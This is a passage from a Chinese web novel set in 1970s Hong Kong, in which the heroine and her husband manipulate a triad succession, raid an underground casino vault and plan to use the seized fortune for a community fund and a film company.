笑哥整个人呆滞,“啊?” 平头伟揪着他耳朵重复了一遍:“苒姐叫你帮六叔当上阿公啊!” 笑哥:“……” 他躲还来不及,怎么会主动出去吸引火力? 温苒摊手,“你还看不明白吗?龙爷就是陷害六叔的人,房子都被烧成废墟账本却没事,漏洞百出啊!” 笑哥隐隐觉得她很有道理,又觉得不对劲,但他又不知道哪里不对。 就在他犹豫时,一道声音在旁边蛊惑他:“去啊!去帮六叔当上阿公!你阿笑就有从龙之功!凭你对六叔的救命之恩,你就是北龙帮下一届阿公啊!” 笑哥、笑哥咽了咽口水,什么阿笑?叫笑爷才对! 笑哥一把推开左右人群,大吼一声:“我看谁敢动六叔!” 人群散开,笑哥大步来到中央,冷眼环视四周,气势威严。 六叔感动激动到无以复加,看笑哥宛如在看天神下凡。 笑哥来到他身前,眼神逼退围上来的马仔,振臂大吼:“六叔是被冤枉的!六叔杀龙爷为帮派除害!三丙堂拥护六叔做接替阿公之位!” “谁敢不服?” “就是与我三丙堂为敌!” 温苒:“……” 就什么流程都不走,直接拥护啊……??? 第113章 第113章七零香江作家14 一片死寂中,三甲堂坐馆站出来:“我三甲堂拥护六叔接替阿公之位!彻查赵龙偷粉倒卖一事!” 接着他走到六叔面前,拱手恭敬道:“六爷,三甲堂往后听凭您吩咐!” 峰回路转,六爷从阶下囚要变阿公,内心喜不自胜,只觉笑哥是他福星。 但六叔面上还稳得住,端着得体威严的笑容拍了拍三甲堂坐馆的肩膀,连说三声:“好!好!好!” 他当场做出保证:“我当阿公,你和阿笑就是我的左膀右臂!” 三甲堂坐馆站到六叔身前,同笑哥一左一右护卫。 他早和六爷交好,如今龙爷已死,别人做阿公哪有自己人做阿公来得有好处? 北龙帮四个堂口,三丁堂被笑哥的三丙堂吃掉,三丙堂和三甲堂支持六叔接任阿公,形势瞬间逆转。 都到这个地步了,六叔今日必须登上阿公之位,容不得他退半步。 否则来日新阿公上位,岂能容他坐拥两个堂口的势力? 六叔想活,想做阿公,为此他可以不惜一切代价。 “三哥,五哥,明哥,强哥,若我做阿公,新赌场大家轮流坐庄!” 几个长老坐馆的眼神瞬间认真起来。 新赌场由赵龙一力组织起来,出入客人皆是富豪名流,开张不到一月收入抵得上两个鸭棚! 要知贩毒可是暴利,结果一个小赌场就能轻易赚到,如何不让人眼红? 偏偏地下赌场是赵龙、龙爷的地盘,他不发话,旁人只能觊觎,谁敢染指? 众人眼神交接,若是如此,六叔坐阿公有何不可? 便是往日和六叔不对付的长老,如今也憋不住半个不字,谁还能跟钱过不去? 第一个人发声:“六叔德高望重,体恤兄弟,我同意他做阿公!” 有一就有二,陆续越来越多的人附和。 上面大哥同意了,下面马仔无所谓谁当阿公,跟着大哥喊就对了。 于是乎,六叔变成六爷,在龙爷尸体前‘黄袍加身’。 六爷站到高处,成为阿公后第一件事就是收买人心:“弟兄们听着,赵龙偷取帮派收入丰他自己腰包,是扒在我们大家身上吸血!” “我六爷今天发誓,以赵龙为为戒,绝不贪图兄弟们的心血!” “我向大家保证,收回赵龙所有积蓄后一分不拿,全部分给——” 噗砰—— 六爷的话声戛然而止,表情僵在脸上。 下一秒他额头正中流淌出几道血线,身体晃了晃,直挺挺倒地滚进废墟中。 离得最近的笑哥脑子嗡一下彻底懵了,被三甲堂坐馆拉了一把还恍恍惚惚不知东西南北。 不是? 六爷死了?! 他才刚当上阿公就死了?!! 在北龙帮的地盘上,先是龙爷被杀,转头六爷也被杀,还都是在众目睽睽下被枪杀。 简直不把北龙帮放在眼里! 长老们怒不可遏,暴脾气地扔掉拐杖,“TM快给我去找!都去找!” 整条街挤满了人,身出其中寸步难行。 然而长老们一声令下,马仔们只好推推搡搡去办事。 温苒站在南凤帮的队伍里旁观,有几处位置已经出现了踩踏现象。 火灾没有伤亡,这种情况可就难说了。 温苒和刀哥交流几句,刀哥掏出喇叭上前:“北龙帮的人听好,不许推搡,从外层开始有序撤退——” 人群中央,北龙帮的管理层又羞又怒。 今天北龙帮的脸丢完蛋了。 火灾是南凤帮带人救,两个阿公众目睽睽下被枪杀杀手却连个影都没有,连最基本的维持秩序都需要南凤帮来…… 北龙帮和南凤帮可是死对头啊! 混乱中,温苒身边一个人影悄悄靠近,抓到她的手攥紧。 温苒扭头看去,高兴地弯起眼,跳到霍骁北身上。 霍骁北笑着托起她,手臂往上颠了颠,好让她不用费力地靠在他胸前。 温苒勾住霍骁北脖子,拍着他后背催促:“快!我们去找笑哥进地下赌场!” 气都没喘几下,刚穿过层层人群挤进来的霍骁北,就得带着媳妇儿重新挤出去。 到了人群外,霍骁北走进巷子把温苒放下来,回头说道:“阿伟,去叫笑哥过来。” 平头伟‘哎’一声,拽着阿红转身就走了。 阿红不肯,在巷口外转角甩开他,“北哥只叫你去,没叫我,我要保护苒姐的。” 平头伟一脸‘我为你好’的表情,“有北哥在,你觉得苒姐需要你保护?” 阿红:“……” 她当然听过北哥很能打,十个阿五都动不了北哥一根手指,而自己只堪堪和阿五打平。 平头伟拽上沉默的阿红去找笑哥,边走边说:“而且北哥和苒姐夫妻俩说话,你一个外人待在那里做什么?当电灯泡啊?” 阿红抿紧了嘴角,暗暗记下来,北哥和苒姐感情很好,不喜欢旁人打扰。 笑哥被带过来时人还懵着,脑海里乱糟糟的,胡思乱想没个头绪。 然而在看到这夫妻俩时,笑哥那些纷乱的思绪鬼使神差一般就理顺了。 他哆嗦着手指温苒:“是你!是你做法诅咒龙爷和六叔!” 温苒:“……” 她看出来了,笑哥能活到现在纯靠运气。 正确答案霍骁北就站在笑哥面前,他竟然完美错开,一门心思认为是温苒做了什么。 温苒张口想解释,就见笑哥噗通跪地,膝盖挪动靠过来,边嚎边抹泪。 “大师救我!我不想坐牢啊!不想死啊!” 温苒默默后退到霍骁北身后,嫌弃地看着哭得寒碜的笑哥。 笑哥见抱不了温苒大腿,只好在霍骁北锐利视线的逼迫下停住。 今晚心惊胆战的,他早就腿软了,干脆一屁股坐下来。 “苒姐,北哥,你们一定救我啊!我可以帮你拿下北龙帮,我不想死啊!” 温苒点头,“好哇!你听话就不会死!” 笑哥店头如捣蒜,心诚得不能再诚,眼巴巴看着夫妻俩,“我向天发誓!一定听话!一定听话的!” 温苒拍拍手,“那好,现在带我们去龙爷开的地下赌场。” 笑哥也没问为什么,二话不说一骨碌爬起来,“需要带人手吗?” 温苒想了想点头,“带,把你三丙堂能打的好手都带上。” 她早就注意到,龙爷身边的阿泰不见了,还一起带走了六叔儿子。 阿泰是龙爷贴身保镖,也是龙爷最信任的马仔,他必定知晓龙爷许多秘密。 龙爷无儿无女无亲,身为北龙帮阿公,像置办产业这种事不可能都亲力亲为,大多还是要交给手下去办。 按照查到的信息来推测,八成就是这个阿泰。 北龙帮死了两个阿公,现在全北城都在搜查杀手,从上到下乱成一锅粥。 浑水摸鱼,正是阿泰脱身的好机会。 若是让他逃跑,别说地下赌场的账本,龙爷这么多年在南洋置办的老本就都跟南凤帮没有关系了。 借搜查杀手的名义,笑哥喊上数百名马仔,全副武装,带温苒等人来到地下赌场。 第114章 第114章七零香江作家15 温苒吩咐笑哥:“堵住所有出入口,龙爷的人一个不许放过!” 说完,瞥到笑哥那颗当摆设都不好看的脑袋,温苒又补充道:“尽量抓活的。” 笑哥立马吩咐下去,然后带人去砸门。 今日地下赌场不营业,看场的马仔都没几个,对上来势汹汹的三丙堂几乎毫无抵抗之力。 抓个管理带路,温苒一行畅通无阻地来到存放账本和赌金的地下一层。 财务室的房间门全掩,但细看门板有些微晃动。 霍骁北抬手示意安静,抽出手枪向房门靠近。 瞥了眼温苒的位置,她被阿红和平头伟牢牢护着。 霍骁北给笑哥个眼神,笑哥会意,飞快到房门另一边,拿出手枪戒备。 说不好是先动手,眨眼间那扇门就被子弹射成筛子。 笑哥大吼:“抱头趴下!开枪!” 他贴在墙上,只伸长手臂胡乱向屋里开枪。 打没打中不清楚,就求个心理安慰。 霍骁北姑且算他给自己掠阵了,视线穿过门板上的弹孔,一枪倒一个。 阿红用身体压在温苒身上,挡得密不透风严严实实。 平头伟压在阿红身上,把她挡得严实。 最下面快喘不过气的温苒:“……” 她费吃奶的劲才从钻出来,摸索夺过阿红腰上的手枪,也戳了几个洞过瘾。 随着倒下的人越来越多,枪声渐息。 有房门阻碍,走廊里受伤的人不多。 反而房间里的人都负了伤,还有几个追随他们老大龙爷去了。 霍骁北朝身后众人挥手,示意都贴墙隐藏身形,接着笑哥站出来一脚踹开房门。 木屑飞溅,本就破烂的门板彻底粉碎。 说时迟那时快,霍骁北一脚踢开笑哥,下一秒笑哥后面的墙上射进一排弹孔。 与死神擦肩而过,笑哥瘫在地上浑身打摆子。 霍骁北冷眼扫过去,笑哥回过神,一骨碌爬起来贴到墙上。 笑哥缓了缓心神,压低嗓音说道:“里面没开灯,好像没人了?” 眼见为虚,温苒捡起房门碎裂后的木块递给霍骁北。 霍骁北抛进屋里,同时一枪打进去,里面果然响起几簇脚步声。 笑哥尴尬地摸了摸鼻子,“那、那我们该怎么办?” 温苒摸了摸下巴,小声和平头伟说了几句,平头伟转身离开,再出现带了一堆装备。 头盔、钢板、防弹衣、大灯,叫几个马仔换上装备,扛着钢板开路。 笑哥:“……” 温苒拍拍手,教给阿红:“这叫不打无准备之仗!” “也叫工欲善其事必先利其器!” 阿红看着温苒的眼神满是崇拜,“我记住了苒姐!” 大灯一开,房间里一览无余。 有钢板掩护,笑哥探头进屋,轻而易举看到阿泰躲在半掩的书柜里,地面上有鲜血流淌。 笑哥撸起袖子自告奋勇,“北哥,让我阿笑替你抓人!” 不多时,阿泰和几个活人被带出来。 确认房间安全,温苒带人进屋翻找账本和钥匙。 这间房间是财务室,金库在走廊末尾的房间,不仅大门是钢门,还上了九把铁锁,完了还要输密码。 龙爷办事就是稳妥,整这么麻烦,全给阿泰上强度了。 霍骁北审问阿泰套取信息时,温苒带笑哥琢磨着开金库门。 她抬手敲了敲钢制大门,不是铛铛那种清脆的声音,更加沉闷。 可想而知着大门该有多厚。 什么东西配什么锁,这么厚的钢门都能当传家宝了,里面的东西该多值钱? 温苒问笑哥:“这么大这么重这么显眼的东西,你们龙爷怎么运进来的?” 笑哥挠头,“龙爷是阿公嘛,什么办不成?” “苒姐,你打算怎么办?要不要我去搞包炸药?” 温苒瞪了他一眼,还炸药,这么贵的门炸药它配吗? 笑哥摸不着头脑,不懂为什么温苒会生气。 温苒拍拍门,“你知这扇门多少钱吗?” 笑哥诚实摇头,猜测道:“一千港币?” 就这他都觉得猜多了。 和后世相比,如今香江的物价还十分‘低廉’。 底层百姓个人月收入如果能有三位数,刚好负担得起房租和温饱。 生活成本低,但生活成本占比高。 一千港币大概是某些贫寒之家一年的收入。 温苒抬起下巴看了眼平头伟,示意他说。 平头伟直起腰,自信地侃侃而谈:“笑哥,香江是港口城市,几乎没有任何矿产资源,木材、水果还有粮食都需要进口。” “近几年香江房地产火热,钢筋建材价格飙涨啊,这扇钢门论斤称两怕是要上万港币的!” 啥? 上万? 别说笑哥了,他身后小弟都惊掉下巴。 笑哥内心震撼,喃喃道:“我前几年在城里买屋,也不过两万港币的。” 震撼后,笑哥虚心向温苒请教:“所以龙爷是真的在偷粉,贪帮里钱喂他自己腰包?” 温苒点头。 笑哥追问:“那六叔也是被污蔑的?” 温苒‘嗯’了声。 笑哥猛地拍大腿,恍然大悟:“所以六叔是龙爷派人杀的!” 温苒:“……” 笑哥说完自己也觉得哪里不太对的样子,迟疑着自言自语:“那龙爷又是谁杀的?” 温苒欲言又止,终究忍不住说道:“阿笑,别勉强自己,把脑袋当个摆设也挺好。” 笑哥:“……” 他未来大哥的老婆嘴真毒。 温苒思考片刻,抬起头说道:“找把电锯过来。” 不就区区九把铁锁? 全给他锯了不就成了? 笑哥立马吩咐手下马仔去找电锯,问道:“那密码锁怎么办?” 温苒看了眼数字键盘,有点难办。 大门是新的,密码锁也是新的,靠数字磨损程度推断行不通。 温苒想了想,“再找一卷透明胶带来。” 她想,龙爷应该不会谨慎到每次输完密码都要擦掉指纹吧? 胶带找来,温苒撕下一条覆在键盘上,小心翼翼贴紧再撕下来。 然后成功得到三个有指纹的数字。 阿红平头伟和笑哥他们还在震惊,温苒看着键盘已经在骂龙爷。 三个数字,四位密码,意味着有一位重复。 不考虑顺序有三种可能,每种可能考虑顺序有十二种可能,总共三十六种。 最好这破 锁没有输错几次就锁定或爆炸的设定。 很快,霍骁北审完阿泰出来。 “他不知道密码,但知道顺序。” 这不巧了。 按照阿泰提供的上下左右的顺序,温苒最终确定密码。 电锯弄来,也带了个不太妙的消息。 听说笑哥带三丙堂接管地下赌场,另外两个堂口不干了,一帮长老坐馆带人逼上赌场大门。 笑哥看向夫妻俩,鼓起勇气说道:“那我现在出去拖延他们?” 霍骁北:“嗯,带上阿泰,阿伟跟你一起。” 听到平头伟一起,笑哥心里的大石头被搬开。 他真怕就自己一个人出去,到时会被外面的人给乱枪打死。 平头伟上前,霍骁北低声嘱咐几句,让他把今晚发生的都推到阿泰身上。 平头伟和笑哥押着阿泰出去。 阿泰的伤口没有包扎处理,流血不止,已然神志不清。 两人在赌场门口应付一干人等。 温苒和霍骁北打开金库。 金库不愧对它金库的名字: 有像摞砖头一样码了半墙高的金砖,金光闪闪令人神往; 靠墙的柜子打开,里面装得满满当当全是漂亮币和大额港币; 地上随意摆放堆叠的大铁箱里,则是各色珠宝首饰,亮瞎人眼。 温苒还发现一间密室,里面每一件都是价值连城的古董。 甚至有一件龙袍,看制式像是明朝时期。 绕是温苒见多识广,也被龙爷这手敛财术给惊呆了。 除了金库里这些,龙爷还在南洋置办了产业。 外面阿红看门,两人转一圈后商量起这些东西的去处。 古董必定要留下,日后香江回归无偿捐给国家博物馆。 金砖…… 这么多金砖挪地方都成问题。 温苒向霍骁北许愿:“你快些拿下北龙帮,这金库不错,整理整理以后就是我们的金库。” 古董和金砖都不好动,但那是对别人,她们有系统包裹。 以防万一,最宝贝的这两样都收了进去。 漂亮币和首饰继续待在金库。 温苒对首饰没兴趣,上辈子霍骁北给她炼制了一屋子,古今中外的风格都有,她看都看腻了。 大鱼大肉太多就想吃点俗的,温苒现在就看金子顺眼。 漂亮币可就太多了,打眼一瞧能有几百万。 港币也差不多的样子。 这么多钱,温苒想要的影视公司、南凤帮上下未来几十年的工资、最快速度拿下北龙帮并整顿治理等等都完全不成问题。 甚至还可以再大胆。 温苒一屁股坐在金砖上,“五象城通水电的事可以和政府再谈,加条件,比如我们出一半基础建设费用,但建成后收费的一半也归我们。” 相信港英政府不会不同意。 通水电稳赚不赔是其一。 其二通完水电后收费是个大难题,政府与其自己头疼不如交给南凤帮。 南凤帮是地头蛇,收费轻而易举。 就算南凤帮不出钱不分钱,日后政府也会向帮派交保护费,好拿到本该属于他们的水电费。 两相衡量之下,让南凤帮出一半建设费,再分一半收费,似乎没什么差别。 而帮派的这一半费用,可以成立五象城公共服务基金,用于改善管理五象城的公共环境和设施。 取之于民,用之于民。 同时,基金会的成立也提供一定数量的工作岗位。 这些岗位承诺优先录用城内居民,实现城民自己管理五象城。 这之后,基金会和帮派共同名义拆迁重建五象城! 温苒看着代表五象城未来的钱财,满意点头。 龙爷的钱不白赚,看她给安排得明明白白! 第115章 第115章七零香江作家16 用金库里的手提包装了两包港币,两人走出去,把门重新锁上。 霍骁北把钱丢到三丙堂马仔们面前,“告诉笑哥,今天参与的弟兄平分。” 提包的拉链滑开一截,露出白花花的票子。 所有人都看得很清楚,包里都是港币! 一人吞了吞口水,点着脑袋应道:“北哥,我们一定转告笑哥。” 说完拽着两三人上前,把包抱起来牢牢护在身前。 温苒和霍骁北回财务室拿上账本,跟笑哥马仔说一声,就从另外的门离开。 今夜注定是个不眠之夜。 一场大火搅和的全城人心里七上八下,听说南凤帮带人把火灭了,那颗心才放回肚子里。 可没多久,一声枪响重新把心脏吊起来。 紧接着北城百姓就被北龙帮的马仔们扣响屋门,再三盘问。 然而这不算完,很快又是一声枪响…… 相比北城的人心惶惶,南城百姓就安生得多。 穿过乱糟糟的北城,步入宁静的南城后,霍骁北就让阿红回家休息,过两天再来上班。 城里有南凤帮的小队四处巡逻,走动时连脚步声都静悄悄的。 霍骁北告诉带队的大队长,让他接应平头伟,如果北龙帮笑哥一起过来也放行。 夜风吹在身上凉飕飕湿泠泠的。 温苒跳到霍骁北背上,让他背着自己上楼回公寓。 刚到楼层,就见自家门口蹲着一排蘑菇。 看到夫妻俩,这些人一窝蜂拥上来,七嘴八舌开始问。 温苒本来打瞌睡呢,让他们全嚷嚷没了。 霍骁北夹紧眉心,沉声道:“明天开会讲。” 陆建华点点头,转头眼巴巴问:“到点了吧,那咱们今晚夜宵吃什么?” 听见这话,所有人都安静下来,睁大眼睛盯着霍骁北。 不怪大家馋这口,实在是北哥不做人,自从找到苒姐,每到深夜他家总传出香味。 深夜的美食和白天的正餐,二者的诱惑能是一个量级吗? 而且北哥的手艺他们好多都没尝过,只听陆哥和平头伟每次提起都大吹特吹,更是抓心挠肺的好奇。 但大晚上的,人家夫妻俩吃顿夜宵,他们当好兄弟的总不能不识趣地去敲门吧? 所以,这次一定要蹭到夜宵!以解他们多日来的相思之苦! 面对众人期待的目光,霍骁北不为所动。 阿五这个面憨的直肠子,为了口吃的爆发智商,机灵地向温苒求问:“苒姐你饿不饿?” 温苒好笑道:“还行。不过你们这么多人,我家可没有太多吃的。” 陆建华立马道:“够我和阿五吃就行,他们一人分一口解解馋得了。” 其他人怒目而视,哪有大哥自己吃独食的? 陆建华小声安抚他们:“尝一口,或者没得尝,你们自己选?” 大家只能憋屈地选了第一样。 霍骁北开锁进屋,面无表情放他们进来。 温苒想吃炒面炸鸡和烧烤,炸鸡可以说是白天从城外带回来的,用微波炉加热后一人分一只。 烧烤等这些人走了再吃。 霍骁北去里屋拿泡面,来都来了,自然不能让他们只尝一口。 数着人头每人大概能有一个面饼,算上了阿伟和笑哥。 开火,起锅烧水煮面,面煮好捞出来。 再起锅下油,打鸡蛋,切上培根里脊火腿,放上豆芽胡萝卜生菜丝,炒熟洒调料,最后盖上面焖熟。 简单的步骤,经霍骁北之手做出来就好像施加了魔法。 一群老爷们哈巴狗似的凑到锅灶旁边,争抢着大口呼吸香味。 重复三锅,这些饿死鬼投胎吃了个一干二净。 但看样子都还意犹未尽,再来三锅也能吃。 把阿伟和笑哥的两份交给陆建华,霍骁北开始轰人,“明天晚上开会。” 陆建华抵住门,“那白天呢?” 霍骁北面无表情:“我休息。” 陆建华撇撇嘴,他看是和媳妇儿一起休息吧,霍骁北就是个老婆奴! 人一走,温苒就拿出各色美食摆了一桌。 美美地吃饱喝足,进系统浴室冲个热水澡,温苒上床休息,次日过午才起。 霍骁北已经做好饭菜在等她,温苒洗漱完,坐下开吃。 她边问:“我们什么时候去南洋?” 霍骁北:“尽快,今晚开会,明早出发。” 盯着龙爷财产的可不止他们。 地下赌场由三丙堂接管,北龙帮余下两个堂口可不会善罢甘休。 霍骁北又道:“不过也不用太着急,阿泰被处决,其他人不知道龙爷财产下落。” 平头伟办事很成功,鼓动北龙帮处决了阿泰。 加上他出自南凤帮,站在笑哥身后出谋划策,是变相告诉北龙帮三丙堂已经倒向南凤帮。 如此,笑哥顺利接管地下赌场。 赌场到手,龙爷的遗产才更引人瞩目。 温苒咽下饭菜,“我忽然有个新想法。” 地下赌场这么赚钱,还赚的都是有钱人的钱,一次性杀鸡取卵未免太可惜。 原本她的计划是拿到赌场客人名单,然后以北龙帮的名义‘友好问候’那些不愿透露姓名身份的有钱人们。 这些有钱人好享受好面子,用登报曝光来威胁,榨出个三五十万不成问题,几十个客户怎么也能有个千百来万。 可现在,温苒抿了口鱼汤,有龙爷金库珠玉在前,她不大看得上区区千百来万。 反之,因为计划成立基金会和影视公司,名单上的客人就是现成的合作对象。 虽然大把人脉在眼前,但也不是说温苒想合作人家就会答应。 于是她聪明的脑袋瓜一转,立马冒出个坏主意。 既然坏事要北龙帮做,那好事当然属于南凤帮。 譬如,以北龙帮名义登报曝光某个孙姓富豪在五象城地下赌场豪掷千金,先让合作对象们急一急。 顺便,温苒心道,这阵子太忙都快忘了温宝龙和孙荣美,得给她们找点不痛快才行。 至于客人名单里到底有没有姓孙的客人,反正温苒说有就有。 先给合作对象们一棒子,等他们吓够呛了,南凤帮再出面‘剿灭’地下赌场,释放可以合作的和善意向。 之后么,五象城的地下赌场没了,谁说不能在别的地方重新开张呢? 五象城如今是法外之地,但它不能一直是。 话说回来,温苒还没忘了那位新福会的跛脚胜,关闭地下赌场岂不是便宜了这狗东西? 算一算她给出的几卦,收数华的死期、龙爷的死期、六叔高升和北城大火都应验了,剩下那个是什么来着? 午饭后见到笑哥,温苒第一句话就是:“阿笑,想不想见识香江的牢房啊?” 笑哥:“……” 第116章 第116章七零香江作家17 心情愉悦的笑哥原地石化,甚至当场表演跪地求饶。 那嘎嘣脆的动作,果决的行为,响亮的跪地声,以及诚恳的认错求饶的态度,把一旁的平头伟都给震懵了。 能当坐馆,还、还是有两把刷子的哈? 笑哥蹭到茶几跟前,死死抱着茶几的木腿,干嚎着求饶:“北哥,苒姐,饶了我吧!” “我发誓我一定听话的!北哥和苒姐让我往东,我绝不往西!” “三丙堂并入南凤帮,我也不当什么坐馆大哥,我当北哥的跟班,跟阿伟一样就行。” 平头伟:“……” 恕他直言:“笑哥,北哥也不是什么人都要的。” 笑哥被说得恼羞成怒,扭头冲他挥拳,威胁道:“你给老子闭嘴!” 平头伟不甘示弱:“你敢在北哥面前自称‘老子’?” 笑哥立马怂兮兮地向霍骁北解释:“北哥我没别的意思,你别听平头伟乱讲,他怕我在北哥面前抢他风头。” 好一个前倨后恭能屈能伸,笑哥也算人才了。 所以温苒更加坚定让他去办那件事。 平头伟听笑哥那么说简直气死,就他那猪脑子,除非回娘胎重造,给他一百年都不能抢自己风头的! 见有吵起来的架势,霍骁北打断两人:“听你们苒姐说。” 温苒不禁侧目,杏眼发亮。 哇! 他叫自己‘苒姐’哎! 平头伟和笑哥齐齐闭嘴。 说到苒姐,她才是这里最大的那个。 笑哥心急自己要蹲大牢的事,眼巴巴看着温苒,“苒姐,一定帮我的,我帮你教训孙家人。” 温苒转头盯着他,意味深长道:“这可是你自己说的。” 笑哥心里打鼓,为咩苒姐语气这么古怪? 温苒冲他笑笑,拍手说:“孙家人不急,我自有办法,你帮我解决跛脚胜。” 笑哥:“……” 笑哥咽了咽喉咙,小心翼翼提醒:“苒姐,跛脚胜比孙家二房难搞的,要不还是先搞孙家?” 平头伟在一旁幸灾乐祸地煽风点火:“就是难搞才要搞啊!笑哥你怕不知道有个成语叫迎难而上!我们苒姐连北哥都能搞定,别人都是小菜一碟喽!” 温苒:“……” 你个阿伟倒也不用这么会说话。 笑哥愤怒地瞪着平头伟,你滚呐! 温苒让笑哥起来,安抚道:“不会让你进去太久的。” 笑哥膝盖刚离地,听见这话吓得浑身一抖,噗通又跪了回去。 温苒:“……” 笑哥欲哭无泪,哀哀求饶:“苒姐你放过我吧,我还没结婚的,无儿无女连个后都没留,我死了我爹都要把我打一顿踹上来的……” 温苒:“……” 倒也没有让你去死…… 笑哥嚎了半天,在霍骁北‘再嚎就滚出去的’眼神中止住了声音,无声地抽抽嗒嗒起来。 脏兮兮的大男人一副梨花带雨的脆弱姿态,实在辣眼睛。 温苒不忍直视,飞快道:“不是让你去死,也不是要你死在大牢里,只是让你配合设计跛脚胜。” 笑哥继续抽泣,耳朵却竖起来听她讲。 温苒接着说:“现在城里都知道你三丙堂笑哥投靠了南凤帮,但你出了这扇门,就要装出和南凤帮谈崩决裂的样子。” 笑哥难得长了点脑子,抬头迟疑道:“可我和南凤帮决裂,北龙帮不会放过我的。” “还有赌场,赌场也保不住。” 温苒回他:“赌场不用担心,你告诉他们账本和客人名册被阿泰毁了,只抢救回来几页。另外金库有密码,输错密码会爆炸。” 笑哥底气不足地反问:“那我呢?” 他来回看温苒和霍骁北,颤声:“北哥,苒姐,我可是你们小弟啊!” 并不很想要脑子这么不灵光的小弟,但温苒还要用笑哥,总不能河没过完就拆桥。 “放心啦,搞完跛脚胜还有个事情必须要你来,不会让你在监牢买房的。” 笑哥终于放心,还用他就表示不会放弃他。 他心有余悸地点头,“那我信苒姐。” 温苒让他起来,等他坐下继续说道:“阿伟派给你,对外就说他负责监视你。” 笑哥瞥了眼平头伟,哼,脑子好使就是占便宜。 “我记住了,我和平头伟商量行事。和南凤帮假装闹掰,然后呢,苒姐?” 温苒顿了顿,“你听阿伟的就行,我怕你动脑子坏事。” 笑哥嚯地瞪大眼,不敢置信:“苒姐?!我也没那么蠢吧?!” 平头伟憋着笑,肩膀一抖一抖,“那你讲,昨晚是谁杀了龙爷?” 笑哥:“……” 笑哥像个被戳破的气球,恹恹道:“我听阿伟的就是。” 可他明显还是不服,温苒怕他脾气上来坏事,只好道:“商量是要商量的,一人计长两人计短。不过你们意见不一致时,以阿伟为主。” 笑哥闻言又支棱起来,得意地瞥了眼平头伟,“我都听苒姐的。” 一旁平头伟若有所思,这话听着好像、似乎、大概和之前没什么两样? 平头伟:“……” 他小心翼翼觑了眼温苒,果然文化人委婉起来骂人都让人舒坦。 温苒交代完接下来的计划,不多时笑哥和平头伟离开住楼。 温苒站在窗边眺望楼下。 这两人演得还挺像模像样。 笑哥沉着脸脸色难看,平头伟笑嘻嘻去搭他肩膀,笑哥猛一扭身体躲开,揪住平头伟衣领,举着拳头威胁。 温苒点点头,以后哪部电影合适,拉他们去友情客串一把。 当然,免费。 笑哥怒气冲冲离开南城,疑似和南凤帮闹翻。 而令人疑惑的是,南凤帮的平头伟却跟着笑哥来了北城三丙堂。 很快消息便传遍整个五象城,众人纷纷在心里猜测原因。 陆建华等人还算沉得住气,毕竟晚上要开会,有什么问题会上问。 北龙帮的三甲堂和三乙堂和一众长老就坐不住了。 笑哥和南凤帮闹翻,他们的机会不就来了? 地下赌场那么一个下金蛋的母鸡,让笑哥那个蠢货独占未免太可惜。 这些人信心满满去见笑哥,结果吃了个闭门羹不提,听说赌场的账本和客户名册被阿泰毁得只剩几页,而赌场金库安了炸药,输错密码会爆炸。 简直、简直气煞人也! 好大一块肉放在眼前,偏偏吃不了也动不了! 北龙帮的议事厅里,就连一向最沉稳的长老都忍不住指着骂:“阿笑这个蠢货!与虎谋皮焉有好下场!” 三甲堂坐馆虚心求教:“此话怎讲?难道三丙堂并入南凤帮后,阿笑当不了坐馆?” 长老冷笑着摇头,“我看不止呢。” “狗屁金库有炸药,依我看金库里的东西早被南凤帮纳入囊中了!” 众人齐惊,紧接着破口大骂:“阿笑个蠢货!” 龙爷的金库不知多丰厚,竟然全给了南凤帮?! 有人恍然大悟:“怪不得阿笑要和南凤帮闹翻!” “那平头伟呢?他来了北城,还在三丙堂,是不是说明金库还没运完?” 那人说着,眼神扫过在场人,充满了蠢蠢欲动的暗示。 别管剩多少,先抢到手再说! 第一个说话的长老制止:“不要轻举妄动,现在我北龙帮元气大伤,得罪南凤帮是下下策。” “而且依我看,平头伟是南凤帮派来监视阿笑,收买三丙堂人心的。” 有人皱眉 :“阿笑这样怂,被人监视都不反抗?” 长老摇摇头,“阿笑和南凤帮合作拿下地下赌场,这件事应是他主动,他必要交出把柄才能取得南凤帮信任。” “现在看来,他被南凤帮摆了一道,才平白叫南凤帮拿捏。” 有人解气道:“活该啊!” 只是这样一来,地下赌场庞大的金库也就和他们没关系了。 实在让人不甘心! 南城。 吃过晚饭,南凤帮的会议室里陆续来人。 会议主要围绕龙爷遗产、赌场重开、金库用法和‘金玉堂’的开设展开。 跟随霍骁北去南洋接手龙爷遗产的人选,按顺序轮到刀哥第三大队。 赌场重开细则未定,在霍骁北和温苒去南洋这段时间,帮里先开会商量个计划章程,等两人回来再最终确定。 金库几乎算是温苒和霍骁北私人拿下的,最多加上个平头伟能分一杯羹,和帮派其实没什么关系。 大家都知道分寸,只是干看着眼馋,没哪个开口说要。 而在听说金玉堂只拿一百万,余下大几千万都作为五象城公务服务基金的原始资金时,在场人就更开不了那个口。 刀哥面冷心热,甚至放话:“我代表白鹤堂随两万。” 利叔和唐叔见他都开口了,也不得不添上两万,只是心里更发愁账上为数不多的钱。 温苒都没要,帮里的情况霍骁北都告诉过她,属于是有今天没明天。 再说几千万都有了,这二五八万的也不差什么。 最后就是金玉堂,温苒要以堂口名义成立公司。 听得刀哥利叔他们都沉默了,好家伙,他们还在这发愁工资呢,温苒都要办公司赚钱了。 赌场重开和服务基金这两件大事,暂时还只是设想,但可以相见是未来南凤帮的重心所在。 南凤帮缺钱,赌场可以解决。 而服务基金惠民利民,一旦泄露消息,什么北龙帮三甲堂还不是立马土崩瓦解,整个五象城都要为此狂欢。 到时南凤帮众望所归,带领城民治理五象城,带领城民赚钱致富奔小康。 会后,霍骁北、温苒和刀哥先离开回去休息,余下人围绕几件事深入详细讨论。 天不亮,一队人就离开五象城,出发去港口,坐船前往南洋。 南洋局势并不安稳,许多地区还处在战争中,未经战争的地区也不太平。 第117章 第117章七零香江作家18 落脚南洋后,辗转月余拿到龙爷产业,或变卖或收用,一行人才北上回到香江。 歇口气的时间都没有,一堆事情就朝温苒砸过来。 吴佳莹:“苒姐!《小说报》已经发了一周的催稿信!再没稿明天就要开天窗了!” 温苒从包里翻出一只牛皮袋,“这个,《王牌沙展》三期的稿件,阿莹你马上替我送一趟,代我向主编致歉。” 吴佳莹拿过稿件,像阵风嗖一下冲了出去。 周玉珍也急急忙忙:“苒姐,快报主编和顾少打了很多次电话,问您的剧本进度,还有钱导十分想同你见面过目剧本。” 温苒又翻出一只牛皮袋,“这个是两版剧本,你马上给主编去个电话,替我向钱导约个时间。” 周玉珍点点头,又问:“苒姐,主编还问,您答应他的下本小说……” 温苒:“……” 温苒恨不得摇着上个月的自己肩膀质问,她当时许诺怎么就没为以后多想想啊? 